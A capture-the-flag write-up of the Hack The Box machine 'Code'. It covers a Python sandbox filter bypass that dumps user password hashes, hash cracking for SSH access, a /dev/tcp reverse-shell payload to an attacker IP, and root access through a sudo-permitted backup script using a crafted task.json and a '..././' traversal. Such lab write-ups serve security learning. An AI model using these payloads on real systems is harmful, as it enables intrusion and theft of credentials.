HTB - Code
HTB - Code⌗
Enumeration:⌗
# Nmap 7.95 scan initiated Sun Mar 23 15:29:57 2025 as: /usr/lib/nmap/nmap --privileged -v -p - -Pn -T4 -A -oA nmaptcp code.htb
Nmap scan report for code.htb (10.129.226.230)
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 11.579 days (since Wed Mar 12 01:37:06 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 23.68 ms 10.10.14.1
2 24.02 ms code.htb (10.129.226.230)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 15:30:25 2025 -- 1 IP address (1 host up) scanned in 27.70 seconds
User exploit⌗
Looking at the nmap scan, we can see a Gunicorn web server on port 5000. It hosts an application that allows us to run arbitrary Python code.
Unfortunately, using any “dangerous” keyword will yield the error Use of restricted keywords is not allowed.
. This includes words like os
, sys
, eval
, open
, etc. Let’s start by listing globals to get our bearings.
print(globals())
{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f02efa1d7c0>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f02efa1d7c0>, origin='/home/app-production/app/app.py'), '__file__': '/home/app-production/app/app.py', '__cached__': '/home/app-production/app/__pycache__/app.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': \"Built-in functions, exceptions, and other objects.\\n\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands\n for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7f02ef3dbee0>, 'render_template_string': <function render_template_string at 0x7f02ef3dbf70>, 'request': <Request 'http://code.htb:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f02ef686c10>, 'redirect': <function redirect at 0x7f02ef4ef3a0>, 'url_for': <function url_for at 0x7f02ef4ef310>, 'session': <SecureCookieSession {}>, 'flash': <function flash at 0x7f02ef4ef550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7f02ee42a8b0>, 'register': <function register at 0x7f02ee42ab80>, 'login': <function login at 0x7f02ee42ac10>, 'logout': <function logout at 0x7f02ee42aca0>, 'run_code': <function run_code at 0x7f02ee42ae50>, 'load_code': <function load_code at 0x7f02ee2a5040>, 'save_code': <function save_code at 0x7f02ee2a51f0>, 'codes': <function codes at 0x7f02ee2a53a0>, 'about': <function about at 0x7f02ee2a5550>}
This contains some useful information, but most importantly the fact that this is a Flask application using SQLAlchemy to query a SQLite database. Let’s query the database.
# Get a handle on the database using the Flask app listed in the globals
db = app.extensions["sqlalchemy"]
# List the tables
print(db.metadata.tables)
# Get a handle on the USER table
USER = db.metadata.tables["user"]
# Build a query to get the usernames and passwords
query = db.session.query(USER.c.username, USER.c.password)
# Execute the query
result=query.all()
# Fetch all results
for record in result:
print(record)
('development', '759b74ce43947f5f4c91aeddc3e5bad3') ('martin', '3de6f30c4a09c27fc71932bfc68474be')
We can use hashcat
to crack the md5 hashes and retrieve the password for martin
. This allows us to log in using SSH and get the user flag.
Of course this is only one of multiple paths that could be taken. My fellow hacker Brainmoustache
went a different route, using the following payload to get a reverse shell as the app-production
user and get the database that way.
$ print(''.__class__.mro()[1].__subclasses__()[317]('bash -c "/bin/bash -i >& /dev/tcp/10.10.14.135/5555 0>&1"',shell=True,stdout=-1).communicate()[0].strip())
Root exploit⌗
Running sudo -l
shows us that we can run /usr/bin/backy.sh
as root without providing a password.
$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
The script looks like this.
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
This script is a wrapper around backy
, a tiny multiprocessing utility for file backups. It prevents us from doing any path traversal or archiving anything outside /home/
or /var
. Looking at the Github page for backy
, we can see that there is another parameter that allows us to exfiltrate data: directories_to_sync
. With this, we can craft a malicious task.json
file that will first sync the content of /root/
to /home/martin/dax
, and then archive it (archiving is necessary because only syncing won’t change the permission of the files, which are currently only readable to root).
{
"destination": "/home/martin/dax/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_sync": ["/root/"],
"directories_to_archive": ["/home/martin/dax/"]
}
$ sudo /usr/bin/backy.sh task.json
2025/05/20 02:08:21 🍀 backy 1.2
2025/05/20 02:08:21 📋 Working with task.json ...
2025/05/20 02:08:21 📤 Syncing from: [/root]
2025/05/20 02:08:21 📥 To: /home/martin/dax ...
2025/05/20 02:08:21 🗂
sending incremental file list
created directory /home/martin/dax
root/
root/.bash_history -> /dev/null
root/.bashrc
root/.profile
root/.python_history -> /dev/null
root/.selected_editor
root/.sqlite_history -> /dev/null
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.ssh/
root/.ssh/authorized_keys
root/.ssh/id_rsa
root/scripts/
root/scripts/cleanup.sh
root/scripts/cleanup2.sh
root/scripts/database.db
root/scripts/backups/
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/backups/task.json
sent 30,964 bytes received 351 bytes 62,630.00 bytes/sec
total size is 29,567 speedup is 0.94
2025/05/20 02:08:21 📤 Archiving: [/home/martin/dax]
2025/05/20 02:08:21 📥 To: /home/martin/dax ...
2025/05/20 02:08:21 📦
tar: Removing leading `/' from member names
/home/martin/dax/
/home/martin/dax/root/
/home/martin/dax/root/.local/
/home/martin/dax/root/.local/share/
/home/martin/dax/root/.local/share/nano/
/home/martin/dax/root/.local/share/nano/search_history
/home/martin/dax/root/.selected_editor
/home/martin/dax/root/.sqlite_history
/home/martin/dax/root/.profile
/home/martin/dax/root/scripts/
/home/martin/dax/root/scripts/cleanup.sh
/home/martin/dax/root/scripts/backups/
/home/martin/dax/root/scripts/backups/task.json
/home/martin/dax/root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/home/martin/dax/root/scripts/database.db
/home/martin/dax/root/scripts/cleanup2.sh
/home/martin/dax/root/.python_history
/home/martin/dax/root/root.txt
/home/martin/dax/root/.cache/
/home/martin/dax/root/.cache/motd.legal-displayed
/home/martin/dax/root/.ssh/
/home/martin/dax/root/.ssh/id_rsa
/home/martin/dax/root/.ssh/authorized_keys
/home/martin/dax/root/.bash_history
/home/martin/dax/root/.bashrc
$ tar -xvf code_home_martin_dax_2025_May.tar.bz2
$ cat home/martin/dax/root/root.txt
Once again, Brainmoustache
pointed out to me that it was also possible to exploit a path traversal vulnerability using the following task.json
file.
{
"destination": "/dev/shm/.dax",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": ["/var/..././root"]
}
Resources:⌗
Hyperlink | Info |
---|---|
https://github.com/pallets/flask | Flask |
https://github.com/sqlalchemy/sqlalchemy | SQLAlchemy |
https://github.com/hashcat/hashcat | hashcat |
https://github.com/vdbsh/backy | backy: tiny multiprocessing utility for file backups |